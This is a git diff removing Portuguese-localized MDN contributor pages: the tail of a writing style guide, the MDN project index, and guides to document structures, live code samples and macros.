-<h3 id="Voice">Voice</h3>
-
-<p>While the active voice is preferred, the passive voice is also acceptable, given the informal feel of our content. Try to be consistent, though.</p>
-
-<h2 id="Wiki_markup_and_usage">Wiki markup and usage</h2>
-
-<h3 id="Hiperligações">Hiperligações</h3>
-
-<p>Links are a large part of what makes a wiki a powerful learning and teaching tool. Below you'll find some basic information, but you can find a complete guide to <a href="/en-US/docs/MDN/Contribute/Editor/Links">creating and editing links on MDN</a> in our editor guide.</p>
-
-<p>We encourage you to create appropriate links among articles; they help improve navigation and discoverability of content. You can easily create links not only among pages on MDN (internal links) but also to pages outside MDN (external links).</p>
-
-<p>There are two ways to create links: you explicitly create a link using the Link button in the editor's toolbar—or by pressing <kbd>Ctrl</kbd>+<kbd>K</kbd> (<kbd>Cmd</kbd>-<kbd>K</kbd> on the Mac)—or you can use MDN's powerful macro system to generate links automatically or based on an input value.</p>
-
-<p>When deciding what text to use as a link, there are a few guidelines you can follow:</p>
-
-<ul>
- <li>Whenever a macro exists which will create the link you need, and you are able to do so, please do. <a href="/en-US/docs/MDN/Contribute/Editor/Links#Using_link_macros">Using macros to create links</a> will not only help you get it right, but will allow future improvements to MDN to automatically be applied to your link.</li>
- <li>For an API name, use the entire string of the API term as written in your content. The easiest way to do this is to <a href="/en-US/docs/MDN/Contribute/Editor/Links#Linking_to_documentation_for_APIs">use the appropriate macro</a> to construct a properly-formatted link for you.</li>
- <li>For a term for which you're linking to a page defining or discussing that term, use the name of the term and no additional text as the link's text. For example:
- <ul>
- <li><span class="correct"><strong>Correct</strong></span>: You can use <a href="/en-US/docs/Web/JavaScript">JavaScript</a> code to create dynamic applications on the Web.</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: You can use <a href="/en-US/docs/Web/JavaScript">JavaScript code</a> to create dynamic applications on the Web.</li>
- </ul>
- </li>
- <li>Otherwise, when adding a useful link to prose, try to choose an action and object phrase, such as:
- <ul>
- <li><span class="correct"><strong>Correct</strong></span>: If you'd like to <a href="/en-US/docs/Mozilla/Developer_guide">contribute to the Firefox project</a>, your first step is to <a href="/en-US/docs/Mozilla/Developer_guide/Build_Instructions">download and build Firefox</a>.</li>
- <li><span class="incorrect"><strong>Incorrect</strong></span>: <a href="/en-US/docs/Mozilla/Developer_guide">If you'd like to contribute to the Firefox project</a>, your first step is to <a href="/en-US/docs/Mozilla/Developer_guide/Build_Instructions">download and build</a> Firefox.</li>
- </ul>
- </li>
-</ul>
-
-<h4 id="Esquemas_de_URL">Esquemas de URL</h4>
-
-<p>For security reasons, you should only create links that use the following schemes:</p>
-
-<ul>
- <li><code>http://</code></li>
- <li><code>https://</code></li>
- <li><code>ftp://</code></li>
- <li><code>mailto:</code></li>
-</ul>
-
-<p>Others may or may not work, but are not supported and will probably be removed by editorial staff.</p>
-
-<div class="note">
-<p>In particular, be sure not to use the <code>about:</code> or <code>chrome://</code> schemes, as they will not work. Similarly, the <code>javascript:</code> scheme is blocked by most modern browsers, as is <code>jar:</code>.</p>
-</div>
-
-<h3 id="Etiquetas_de_página">Etiquetas de página</h3>
-
-<p>Tags provide meta information about a page and/or indicate that a page has specific improvements needed to its content. Every page in the wiki should have tags. You can find details on tagging in our <a href="/en-US/docs/MDN/Contribute/Howto/Tag">How to properly tag pages</a> guide.</p>
-
-<p>The tagging interface lives at the bottom of a page while you're in edit mode, and looks something like this:</p>
-
-<p><img alt="Screenshot of the UX for adding and removing tags on MDN" src="https://mdn.mozillademos.org/files/7859/tag-interface.png" style="border-style: solid; border-width: 1px; height: 167px; width: 863px;"></p>
-
-<p>To add a tag, click in the edit box at the end of the tag list and type the tag name you wish to add. Tags will autocomplete as you type. Press enter (or return) to submit the new tag. Each article may have as many tags as needed. For example, an article about using JavaScript in AJAX programming might have both "JavaScript" and "AJAX" as tags.</p>
-
-<p>To remove a tag, just click the little "X" icon in the tag.</p>
-
-<h4 id="Tagging_pages_that_need_work">Tagging pages that need work</h4>
-
-<p>In addition to using tags to track information about the documentation's quality and content, we also use them to mark articles as needing specific types of work.</p>
-
-<h4 id="Tagging_obsolete_pages">Tagging obsolete pages</h4>
-
-<p>Use the following tags for pages that are not current:</p>
-
-<ul>
- <li><em>Junk</em>: Use for spam, pages created by mistake, or content that is so bad that it should be deleted. Pages with this tag are deleted from time to time.</li>
- <li><em>Obsolete</em>: Use for content that is technically superseded, but still valid in context. For example an HTML element that is obsolete in HTML5 is still valid in HTML 4.01. You can also use the <span class="nowiki">{{TemplateLink("obsolete_header")}}</span> macro to put a prominent banner on the topic.</li>
- <li><em>Archive</em>: Use for content that is technically superseded and no longer useful. If possible, add a note to the topic referring readers to a more current topic. For example, a page that describes how to use the Mozilla CVS repository should refer readers to a current topic on using Mercurial repos. (If no corresponding current topic exists, use the <em>NeedsUpdate</em> tag, and add an explanation on the Talk page.) Pages with the Archive tag are eventually moved from the main content of MDN to the <a href="/en-US/docs/Archive">Archive</a> section.</li>
-</ul>
-
-<h3 id="Resumo_SEO">Resumo SEO</h3>
-
-<p>The SEO summary provides a short description of a page. It will be reported as a summary of the article to robots crawling the site, and will then appear in search results for the page. It is also used by macros that automate the construction of landing pages inside MDN itself.</p>
-
-<p>By default, the first paragraph of the page is used as the SEO summary. However, you can override this behavior by marking a section with the <a href="/en-US/docs/Project:MDN/Contributing/Editor_guide/Editing#Formatting_styles">"SEO summary" style in the WYSIWYG editor</a>.</p>
-
-<h3 id="Landing_pages">Landing pages</h3>
-
-<p><strong>Landing pages</strong> are pages at the root of a topic area of the site, such as the main <a href="/en-US/docs/CSS" title="CSS">CSS</a> or <a href="/en-US/docs/HTML" title="HTML">HTML</a> pages. They have a standard format that consists of three areas:</p>
-
-<ol>
- <li>A brief (typically one paragraph) overview of what the technology is and how it's used. See {{anch("Writing a landing page overview")}} for tips.</li>
- <li>A two-column list of links with appropriate headings. See {{anch("Creating a page link list")}} for guidelines.</li>
- <li>An <strong>optional</strong> "Browser compatibility" section at the bottom of the page.</li>
-</ol>
-
-<h4 id="Creating_a_page_link_list">Creating a page link list</h4>
-
-<p>The link list section of an MDN landing page consists of two columns. These are created using the following HTML:</p>
-
-<pre class="brush: html notranslate">&lt;div class="row topicpage-table"&gt;
- &lt;div class="section"&gt;
- ... left column contents ...
- &lt;/div&gt;
- &lt;div class="section"&gt;
- ... right column contents ...
- &lt;/div&gt;
-&lt;/div&gt;</pre>
-
-<p>The left column should be a list of articles, with an <code>&lt;h2&gt;</code> header at the top of the left column explaining that it's a list of articles about the topic (e.g., "Documentation and tutorials about foo"); this header should use the CSS class "Documentation". Below that is a <code>&lt;dl&gt;</code> list of articles with each article's link in a <code>&lt;dt&gt;</code> block and a brief one-or-two sentence summary of the article in the corresponding <code>&lt;dd&gt;</code> block.</p>
-
-<p>The right column should contain one or more of the following sections, in order:</p>
-
-<dl>
- <dt>Getting help from the community</dt>
- <dd>This should provide information on Matrix chat rooms and mailing lists available on the topic. The heading should use the class "Community".</dd>
- <dt>Tools</dt>
- <dd>A list of tools the user can look at to help with the use of the technology described in this section of MDN. The heading should use the class "Tools".</dd>
- <dt>Related topics</dt>
- <dd>A list of links to landing pages for other, related, technologies of relevance. The heading should use the class "Related_Topics".</dd>
-</dl>
-
-<p><strong>&lt;&lt;&lt;finish this once we finalize the landing page standards&gt;&gt;&gt;</strong></p>
-
-<h2 id="Utilização_inserção_de_imagens">Utilização, inserção de imagens</h2>
-
-<p>It's sometimes helpful to provide an image in an article you create or modify, especially if the article is very technical. To include an image:</p>
-
-<ol>
- <li>Attach the desired image file to the article (at the bottom of every article in edit mode)</li>
- <li>Create an image in the WYSIWYG editor</li>
- <li>In the WYSIWYG editor, in the drop-down list of attachments, select the newly created attachment that is your image</li>
- <li>Press OK.</li>
-</ol>
-
-<h2 id="Outras_referências">Outras referências</h2>
-
-<h3 id="Preferred_style_guides">Preferred style guides</h3>
-
-<p>If you have questions about usage and style not covered here, we recommend referring to the <a href="http://www.economist.com/styleguide/introduction">Economist style guide</a> or, failing that, the <a href="https://www.amazon.com/Chicago-Manual-Style-16th/dp/0226104206">Chicago Manual of Style</a>.</p>
-
-<h3 id="Preferred_dictionary">Preferred dictionary</h3>
-
-<p>For questions of spelling, please refer to <a href="http://www.dictionary.com/">Dictionary.com</a>. The spelling checker for this site uses American English. Please do not use variant spellings (e.g., use <em>color</em> rather than <em>colour</em>).</p>
-
-<p>We will be expanding the guide over time, so if you have specific questions that aren't covered in this document, please send them to the <a href="/en-US/docs/Project:Community" title="Project:en/Community">MDC mailing list</a> or <a href="/User:Sheppy" title="User:Sheppy">project lead</a> so we know what should be added.</p>
-
-<h3 id="Específico_da_MDN">Específico da MDN</h3>
-
-<ul>
- <li><a href="/en-US/docs/MDN/Contribute/Structures/Macros/Commonly-used_macros" title="Project:en/Custom_Templates">Commonly-used macros</a> on MDN, with explanations.</li>
-</ul>
-
-<h3 id="Idioma_gramática_ortografia">Idioma, gramática, ortografia</h3>
-
-<p>If you're interested in improving your writing and editing skills, you may find the following resources to be helpful.</p>
-
-<ul>
- <li><a href="http://www.amazon.com/Writing-Well-30th-Anniversary-Nonfiction/dp/0060891548">On Writing Well</a>, by William Zinsser (Amazon link)</li>
- <li><a href="http://www.amazon.com/Style-Basics-Clarity-Grace-4th/dp/0205830765/" title="http://www.amazon.com/Style-Lessons-Clarity-Grace-Edition/dp/0321898680">Style: The Basics of Clarity and Grace</a>, by Joseph Williams and Gregory Colomb (Amazon link)</li>
- <li><a href="https://brians.wsu.edu/common-errors-in-english-usage/">Common Errors in English</a></li>
- <li><a href="http://www-personal.umich.edu/~jlawler/aue.html">English Grammar FAQ</a> (alt.usage.english)</li>
- <li><a href="http://www.angryflower.com/bobsqu.gif">Bob's quick guide to the apostrophe, you idiots</a> (funny)</li>
- <li><a href="http://www.amazon.com/Merriam-Websters-Concise-Dictionary-English-Usage/dp/B004L2KNI2" title="http://www.amazon.com/Merriam-Websters-Concise-Dictionary-English-Usage/dp/B004L2KNI2">Merriam-Webster's Concise Dictionary of English Usage</a> (Amazon link): Scholarly but user-friendly, evidence-based advice; very good for non-native speakers, especially for preposition usage.</li>
- <li><a href="http://english.stackexchange.com/">English Language and Usage StackExchange</a>: Question and answer site for English language usage.</li>
-</ul>
diff --git a/files/pt-pt/mdn/index.html b/files/pt-pt/mdn/index.html
deleted file mode 100644
index afad0c7b65..0000000000
--- a/files/pt-pt/mdn/index.html
+++ /dev/null
@@ -1,30 +0,0 @@
----
-title: O projeto MDN
-slug: MDN
-tags:
- - Landing
- - Metadados MDN
-translation_of: MDN
----
-<div>{{MDNSidebar}}</div>
-
-<p><strong>MDN - Documentos da Web, </strong>é uma wiki onde nós documentamos a Web aberta, tecnologias da Mozilla, e outros tópicos de desenvolvimento. Qualquer poessoa é bem-vinda para adicionar e editar conteúdo. Não tem de ser um programador ou saber muito sobre tecnologia; existem várias tarefas diferentes que precisam de ser realizadas, desde o mais simples (revisão de conteúdo e correção de erros ortográficos) até ao mais complexo (escrever documentação de API).</p>
-
-<div class="summary">
-<p>A missão de MDN - Documentos da Web é fornecer aos programadores a informação necessária para criar facilmente projetos na plataforma da Web. Nós convidámo-lo a ajudar!</p>
-</div>
-
-<p>Nós precisamos da sua ajuda! É fácil. Não se preocupe em pedir permissão ou em cometer erros. Por outro lado, por favor, venha conhecer a '<a href="/pt-PT/docs/MDN/Community" title="/pt-PT/docs/MDN/Community">Comunidade da MDN</a>'; nós estamos aqui para o ajudar! A documentação abaixo deverá ajudá-lo a começar.</p>
-
-<ul class="card-grid">
- <li><span><a class="new" href="/pt-PT/docs/MDN/Intrudu%C3%A7%C3%A3o" rel="nofollow">Início Rápido do Principiante</a></span>
-
- <p>É novo na MDN e pretende saber como ajudar para a tornar melhor? Comece aqui!</p>
- </li>
- <li><span><a href="/pt-PT/docs/MDN/Contribute">Eu sou um utilizador avançado</a></span>
- <p>Aceda ao nosso guia completo e aprofundado para os colaboradores da MDN, para saber mais assim que se sentir confortável.</p>
- </li>
- <li><span><a class="new" href="/pt-PT/docs/MDN/Sobre/Promover" rel="nofollow">Passe a palavra</a></span>
- <p>Se gostar da MDN, ajude a passar a palavra! Encontre arte, ferramentas, e guias para promover a MDN.</p>
- </li>
-</ul>
diff --git a/files/pt-pt/mdn/structures/index.html b/files/pt-pt/mdn/structures/index.html
deleted file mode 100644
index b8df701dac..0000000000
--- a/files/pt-pt/mdn/structures/index.html
+++ /dev/null
@@ -1,16 +0,0 @@
----
-title: Document structures
-slug: MDN/Structures
-tags:
- - Landing
- - MDN Meta
- - NeedsTranslation
- - Structures
- - TopicStub
-translation_of: MDN/Structures
----
-<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/MDN")}}</div>
-
-<p>Throughout MDN, there are various document structures that are used repeatedly, to provide consistent presentation of information in MDN articles. Here are articles describing these structures, so that, as an MDN author, you can recognize, apply, and modify them as appropriate for documents you write, edit, or translate.</p>
-
-<p>{{LandingPageListSubPages()}}</p>
diff --git a/files/pt-pt/mdn/structures/live_samples/index.html b/files/pt-pt/mdn/structures/live_samples/index.html
deleted file mode 100644
index 1e6380ba9e..0000000000
--- a/files/pt-pt/mdn/structures/live_samples/index.html
+++ /dev/null
@@ -1,249 +0,0 @@
----
-title: Exemplos live
-slug: MDN/Structures/Live_samples
-tags:
- - Estruturas
- - Guia(2)
- - Intermediário
- - Metadados MDN
-translation_of: MDN/Structures/Live_samples
-original_slug: MDN/Structures/Exemplos_live
----
-<div>{{MDNSidebar}}</div><p><span class="seoSummary">Exemplos MDN supports turning sample code displayed in articles into running samples the reader can look at in action. These live samples can include HTML, CSS, and JavaScript in any combination.</span> Note that "live" samples are <em>not interactive</em>; however, they do ensure that the output displayed for a sample matches the code of the sample exactly, because it is actually generated by the code sample.</p>
-
-<h2 id="Como_é_que_os_exemplos_live_funcionam">Como é que os exemplos <em>live </em>funcionam</h2>
-
-<p>The live sample system gathers up all the code in a group, merges it into one HTML file, and then renders that HTML in an {{HTMLElement("iframe")}}. A live sample therefore consists of two pieces:</p>
-
-<ul>
- <li>A group of code blocks</li>
- <li>The macro call that (creates the frame or the link that) displays the result of the code blocks</li>
-</ul>
-
-<p>A "group" of code blocks, in this context, is identified by the ID of a heading or a block element (such as a {{HTMLElement("div")}}).</p>
-
-<ul>
- <li>If the ID belongs to a block element, the group includes all the code blocks within the enclosing block element whose ID is used. </li>
- <li>If the ID belongs to a heading, the group includes all the code blocks that are after that heading and before the next heading of the same heading level. Note that code blocks under subheadings of the specified heading are all used; if this is not the effect you want, use an ID on a block element instead.</li>
-</ul>
-
-<p>The macro uses a special URL to fetch the sample code for a given group: <code>http://<em>url-of-page</em>$samples/<em>group-id</em></code>, where <code>group-id</code> is the ID of the heading or block where the code is located. The resulting frame (or page) is sandboxed, secure, and technically may do anything that works on the Web. Of course, as a practical matter, the code must contribute to the point of the page that contains it; random stuff running on MDN will be removed by the editor community.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> You <strong>must</strong> use the macro for presenting the live sample's output. MDN's editor will strip out any direct use of the <code>&lt;iframe&gt;</code> element in order to ensure security.</p>
-</div>
-
-<p>Each {{HTMLElement("pre")}} block containing code for the sample has a class on it that indicates whether it's HTML, CSS, or JavaScript code; these are "brush: html", "brush: css", and "brush: js". These classes must be on the corresponding blocks of code so that the wiki can use them correctly; fortunately, these are added for you automatically when you use the syntax highlighter features in the editor's toolbar.</p>
-
-<p>The live sample system has lots of options available, and we'll try to break things down to look at them a bit at a time.</p>
-
-<h3 id="Macros_de_exmplo_live">Macros de exmplo <em>live</em></h3>
-
-<p>There are two macros that you can use to display live samples:</p>
-
-<ul>
- <li><span class="templateLink"><code><a href="/en-US/docs/Template:EmbedLiveSample">EmbedLiveSample</a> </code></span>embeds a live sample into a page</li>
- <li><span class="templateLink"><code><a href="/en-US/docs/Template:LiveSampleLink">LiveSampleLink</a></code></span> creates a link that opens the live sample in a new page</li>
-</ul>
-
-<p>In many cases, you may be able to add the <span class="templateLink"><code><a href="/en-US/docs/Template:EmbedLiveSample">EmbedLiveSample</a></code></span> or <span class="templateLink"><code><a href="/en-US/docs/Template:LiveSampleLink">LiveSampleLink</a></code></span> macro to pages with little or no additional work! As long as the sample can be identified by a heading's ID or is in a block with an ID you can use, simply adding the macro should do the job.</p>
-
-<h4 id="EmbedLiveSample_macro">EmbedLiveSample macro</h4>
-
-<pre class="syntaxbox notranslate"> \{{EmbedLiveSample(<em>block_ID</em>, <em>width</em>, <em>height</em>, <em>screenshot_URL</em>, <em>page_slug</em>)}}</pre>
-
-<dl>
- <dt>block_ID</dt>
- <dd>Required: The ID of the heading or enclosing block to draw the code from. The best way to be sure you have the ID right is to look at the URL of the section in the page's table of contents.</dd>
- <dt>width</dt>
- <dd>The width of the {{HTMLElement("iframe")}} to create, specified in <code>px</code>. This is optional; a reasonable default width will be used if you omit this. Note that if you want to use a specific width, you <em>must</em> also specify the height parameter.</dd>
- <dt>height</dt>
- <dd>The height of the {{HTMLElement("iframe")}} to create, specified in <code>px</code>. This is optional; a reasonable default height will be used if you omit this. Note that if you want to use a specific height, you <em>must</em> also specify the width parameter. If you use only one of them, the default frame size is used.</dd>
- <dt>screenshot_URL</dt>
- <dd>The URL of a screenshot that shows what the live sample should look like. This is optional, but can be useful for new technologies that may not work in the user's browser, so they can see what the sample would look like if it were supported by their browser. If you include this parameter, the screenshot is shown next to the live sample, with appropriate headings.</dd>
- <dt>page_slug</dt>
- <dd>The slug of the page containing the sample; this is optional, and if it's not provided, the sample is pulled from the same page on which the macro is used.</dd>
-</dl>
-
-<ol>
-</ol>
-
-<h4 id="LiveSampleLink_macro">LiveSampleLink macro</h4>
-
-<pre class="syntaxbox notranslate"> \{{LiveSampleLink(<em>block_ID</em>, <em>link_text</em>)}}</pre>
-
-<dl>
- <dt>block_ID</dt>
- <dd>The ID of the heading or enclosing block to draw the code from. The best way to be sure you have the ID right is to look at the URL of the section in the page's table of contents.</dd>
- <dt>link_text</dt>
- <dd>A string to use as the link text.</dd>
-</dl>
-
-<h2 id="Utilizar_o_sistema_de_exemplo_live">Utilizar o sistema de exemplo <em>live</em></h2>
-
-<p>The sections below describe a few common use cases for the live sample system.</p>
-
-<p>In all of these cases, to see the results of the live sample, you must click <strong>Save Changes</strong> in the editor (which takes you out of edit mode). Because of the reflexive, <a href="http://www.imdb.com/title/tt1375666/?ref_=nv_sr_1"><em>Inception</em></a>-like nature of live samples, the <strong>Preview Changes</strong> functionality is <em>not</em> able to display live samples.</p>
-
-<h3 id="Turning_snippets_into_live_samples">Turning snippets into live samples</h3>
-
-<p>One common use case is to take existing code snippets already shown on MDN and turn them into live samples.</p>
-
-<h4 id="Preparar_os_exemplos_de_código">Preparar os exemplos de código</h4>
-
-<p>The first step is to either add code snippets or ensure that existing ones are ready to be used as live samples, in terms of the content and in terms of their mark-up. The code snippets, taken together, must comprise a complete, runnable example. For example, if the existing snippet shows only CSS, you might need to add a snippet of HTML for the CSS to operate on.</p>
-
-<p>Each piece of code must be in a {{HTMLElement("pre")}} block, with a separate block for each language, properly marked as to which language it is. Most of the time, this has already been done, but it's always worth double-checking to be sure each piece of code is configured with the correct syntax. Next to the <strong>PRE</strong> icon in the toolbar is a drop-down menu icon (tooltip: Syntax Highlighter) with the various languages that MDN does syntax highlighting for. Setting the language for the block for syntax highlighting also correlates it with a language for the purposes of the live sample system.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> You may have more than one block for each language; they are all concatenated together. This lets you have a chunk of code, followed by an explanation of how it works, then another chunk, and so forth. This makes it even easier to produce tutorials and the like that utilize live samples interspersed with explanatory text.</p>
-</div>
-
-<p>So make sure the {{HTMLElement("pre")}} blocks for your HTML, CSS, and/or JavaScript code are each configured correctly for that language's syntax highlighting, and you're good to go.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> When pasting content into MDN, please be aware that if pasting styled content (including, for example, syntax highlighting in code being copied from another site) that you may be bringing along unwanted and unneeded additional styles or classes. Please be careful not to do this; if necessary, review your edit in source mode to remove these unnecessary styles and classes (or check it before pasting, or use the "Paste as plain text" option instead).</p>
-</div>
-
-<h4 id="Inserir_a_macro_de_exemplo_live">Inserir a macro de exemplo <em>live</em></h4>
-
-<p>Once the code is in place and properly configured to identify each block's language, you need to insert the macro that creates the iframe.</p>
-
-<ol>
- <li>Click the <strong>Insert Live Code Sample iFrame</strong> button in the toolbar; it looks like this: <img alt="" src="https://mdn.mozillademos.org/files/5383/insert-live-sample-btn.png" style="height: 18px; width: 19px;">. This opens a dialog box for configuring your live sample frame:<img alt="" src="https://mdn.mozillademos.org/files/5385/sample-finder.png" style="height: 358px; width: 405px;"></li>
- <li>Under <strong>Document</strong>, enter the title of the article that contains the sample you wish to embed. By default, it's the article you're currently editing, but you can choose an article elsewhere on MDN, too. This makes it possible to reuse samples on multiple pages if needed. (If you type new text in this field, a menu of partially matching pages appears; select the title of the page you want.)</li>
- <li>In the <strong>Sections in Document</strong> menu, select the section in the article that contains the code blocks of the sample you want to embed.</li>
- <li>Click the <strong>OK</strong> button to generate and insert the macro call that creates the sample frame for you. The macro call looks something like this:<br>
- <strong>\{{ EmbedLiveSample('Live_sample_demo') }}</strong></li>
-</ol>
-
-<h3 id="Adicionar_um_novo_exemplo_live">Adicionar um novo exemplo <em>live</em></h3>
-
-<p>If you're writing a new page, and want to insert code that you want to present as a live sample, even more of the work can be done for you by the editor! </p>
-
-<ol>
- <li>Click the <strong>Insert Code Sample Template</strong> button in the toolbar, which looks like this: <img alt="" src="/files/4265/live-sample-button.png" style="height: 19px; width: 21px;">. This presents a simple dialog asking you to name your live sample:<br>
- <img alt="" src="https://mdn.mozillademos.org/files/5387/insert-live-sample-template.png" style="height: 155px; width: 251px;"></li>
- <li>Enter the title of the sample; this is used as the heading for the sample. Make sure that your title makes sense within the context of the page you're on.</li>
- <li>Click <strong>OK</strong>. A new heading with the title you entered is created, with sub-headings and empty code blocks for HTML, CSS, and JavaScript.</li>
- <li>Delete any headings and code blocks you don't need.</li>
- <li>Enter the code that makes up your sample in the appropriate code blocks</li>
- <li><a href="#conventions">Check conventions</a></li>
-</ol>
-
-<h3 id="Utilizar_o_Localizador_de_Exemplo">Utilizar o 'Localizador de Exemplo'</h3>
-
-<p>As mentioned above, the Sample Finder is activated by clicking the<strong> Insert Live Code Sample iFrame</strong> icon. Unfortunately the the Sample Finder may produce a macro that is NOT usable without editing. There are two problem areas that should be carefully checked and edited if necessary.</p>
-
-<ol>
- <li><strong>Document </strong>field. This field will search as you type and present a list of documents that match your string. But the list presented will NOT include the sub-page. For example, say you are working on the subpage for <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@counter-style/negative">Negative </a>under the main page <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@counter-style">@counter-style</a>. The Sample Finder search will not find Negative but will find the main page @counter-style. When @counter-style is selected the field background turns green. See below for the issue this creates.</li>
- <li><strong>Sections in Document</strong>. The pull-down menu Sections in Document may not show the section that you need. Just pick one, say Examples, and it can be fixed with a simple edit.</li>
-</ol>
-
-<p>Here is what the Sample Finder produced:</p>
-
-<pre class="notranslate"><code>\{{ EmbedLiveSample('Examples', '', '', '', 'Web/CSS/@counter-style') }}</code></pre>
-
-<p>This macro will not work. The block_ID is Examples and it should be Example in this case (check the source ID for this section to verify which block_ID you need to use. Similarly the page_slug is @counter-style and it should be @counter-style/negative. These corrections can be done directly in the page with Edit active.</p>
-
-<p>After editing the macro now looks like this:</p>
-
-<pre class="notranslate"><code>\{{ EmbedLiveSample('Example', '', '', '', 'Web/CSS/@counter-style/negative') }}</code></pre>
-
-<p>This edited macro will work correctly. If the macro is working correctly you will see the <strong>Open in CodePen</strong> button. A thumbnail of the example should appear above the Open in CodePen button. If the button is there but there isn't a thumbnail, just wait a few minutes. It may take some time for the server to generate it.</p>
-
-<h2 id="Live_sample_demo" name="Live_sample_demo">Encontrar exemplos que precisam de ser atualizados</h2>
-
-<p>When looking for existing samples to update, there are three main kinds of updating you may wish to do:</p>
-
-<ul>
- <li>Turn an existing non-live example snippet into a live sample.</li>
- <li>Correct bugs in an existing live sample.</li>
- <li>Improve an existing live sample, or update a sample based on technology changes.</li>
-</ul>
-
-<div class="note">
-<p><strong>Note</strong><strong>:</strong> If you find an article that has samples in need of being updated to use the live sample system, please add the tag "NeedsLiveSample" to the page.</p>
-</div>
-
-<h3 id="Encontrar_exemplos_para_os_transformnar_em_exemplos_live">Encontrar exemplos para os transformnar em exemplos <em>live</em></h3>
-
-<p>MDN has lots of older examples that don't yet use the live sample system. Our goal is to update most or all of these to be live samples. This will improve consistency and usability. You will almost certainly find many of these as you use MDN on a daily basis; however, how can you find them if you're specifically looking for them to update? Unfortunately, there's not an easy way to do that. But there are some guidelines you can follow to help track them down:</p>
-
-<ul>
- <li>Start by looking at this <a href="/en-US/docs/tag/NeedsLiveSample" title="/en-US/docs/tag/NeedsLiveSamples">list of pages tagged with "NeedsLiveSample"</a>. These are pages that users have marked as needing updating. You should add this tag yourself, if you see a page that needs to be updated to use live samples but don't have time to fix right away.</li>
- <li>Browse through documentation trees that are likely to include examples, such as the <a href="/en-US/docs/Web/JavaScript/Guide" title="/en-US/docs/Web/JavaScript/Guide">JavaScript Guide</a>, <a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML documentation</a>, and <a href="/en-US/docs/Web/CSS/Reference" title="/en-US/docs/Web/CSS/Reference">CSS reference</a>.</li>
- <li>Search for terms like "<a href="/en-US/search?q=example" title="/en-US/search?q=example">example</a>" or "<a href="/en-US/search?q=sample" title="/en-US/search?q=sample">sample</a>" and look through the results for pages to update.</li>
-</ul>
-
-<h2 id="Live_sample_demo" name="Live_sample_demo">Demonstração de exemplo <em>live</em></h2>
-
-<p>This section is the result of using the live sample template button to create not only the main heading ("Live sample demo"), but also subheadings for our HTML, CSS, and JavaScript content. You're not limited to one block of each; in addition, they don't even need to be in any particular order. Mix and match!</p>
-
-<p>You may choose to delete any of these you wish; if you don't need any script, just delete that heading and its {{HTMLElement("pre")}} block. You can also delete the heading for a code block ("HTML", "CSS", or "JavaScript"), since these are not used by the live sample macro.</p>
-
-<p>Now that the template has been inserted, we can put in some code, and even some explanatory text.</p>
-
-<h3 id="HTML">HTML</h3>
-
-<p>This HTML creates a paragraph and some blocks to help us position and style a message.</p>
-
-<pre class="brush: html notranslate">&lt;p&gt;A simple example of the live sample system in action.&lt;/p&gt;
-&lt;div class="box"&gt;
- &lt;div id="item"&gt;Hello world!&lt;/div&gt;
-&lt;/div&gt;
-</pre>
-
-<h3 id="CSS">CSS</h3>
-
-<p>The CSS code styles the box as well as the text inside it.</p>
-
-<pre class="brush: css notranslate">.box {
- width: 200px;
- height: 100 px;
- border-radius: 6px;
- background-color: #ffaabb;
-}
-
-#item {
- width: 100%;
- font-weight: bold;
- text-align: center;
- font-size: 2em;
-}
-</pre>
-
-<h3 id="JavaScript">JavaScript</h3>
-
-<p>This code is very simple. All it does is attach an event handler to the "Hello world!" text that makes an alert appear when it is clicked.</p>
-
-<pre class="brush: js notranslate">var el = document.getElementById('item');
-el.onclick = function() {
- alert('Owww, stop poking me!');
-}
-</pre>
-
-<h3 id="Resultado">Resultado</h3>
-
-<p>Here is the result of running the code blocks above via<code> \{{EmbedLiveSample('Live_sample_demo')}}</code>:</p>
-
-<p>{{EmbedLiveSample('Live_sample_demo')}}</p>
-
-<p>Here is a link that results from calling these code blocks via <code>\{{LiveSampleLink('Live_sample_demo', 'Live sample demo link')}}</code>:</p>
-
-<p>{{LiveSampleLink('Live_sample_demo', 'Live sample demo link')}}</p>
-
-<h2 id="Convenções_sobre_exemplos_live"><a id="conventions" name="conventions">Convenções sobre exemplos <em>live</em></a></h2>
-
-<div class="note">
-<p><strong>Nota:</strong> This is currently (Feb. 2016) under discussion on the dev-mdc mailing list (see <a href="https://groups.google.com/forum/#!topic/mozilla.dev.mdc/49oqJAHFnWQ">this thread</a>). Any input is welcome. If this note persists after some month (Apr. 2016), please reach the author of the first email in this thread for updating this page.</p>
-</div>
-
-<dl>
- <dt>Ordem dos blocos de código</dt>
- <dd>When adding a live sample, the code blocks should be sorted so that the first one corresponds to the main language for this sample (if there is one). For example, when adding a live sample for the HTML Reference, the first block should be HTML, when adding a live sample for the CSS Reference, it should be CSS and so on.</dd>
- <dt>Nomeação de cabeçalhos</dt>
- <dd>When there is no ambiguity (e.g. the sample is under a "Examples" section), headings should be straightforward with the sole name of the corresponding language: HTML, CSS, JavaScript, SVG, etc. (see above). Headings like "HTML Content" or "JavaScript Content" should not be used. However if such a short heading makes content unclear, one can use a more thoughtful title.</dd>
- <dt>Utilizar um bloco de "Resultado"</dt>
- <dd>After the different code blocks, please use a last "Result" block before using the <code>EmbedLiveSample</code> macro (see above). This way, the semantic of the example is made clearer for both the reader and any tools that would parse the page (e.g. screen reader, web crawler).</dd>
-</dl>
diff --git a/files/pt-pt/mdn/structures/macros/index.html b/files/pt-pt/mdn/structures/macros/index.html
deleted file mode 100644
index 984483ee1e..0000000000
--- a/files/pt-pt/mdn/structures/macros/index.html
+++ /dev/null
@@ -1,46 +0,0 @@
----
-title: Macros
-slug: MDN/Structures/Macros
-tags:
- - Estruturas
- - Guía
- - Kuma
- - KumaScript
- - Metadados MDN
-translation_of: MDN/Structures/Macros
----
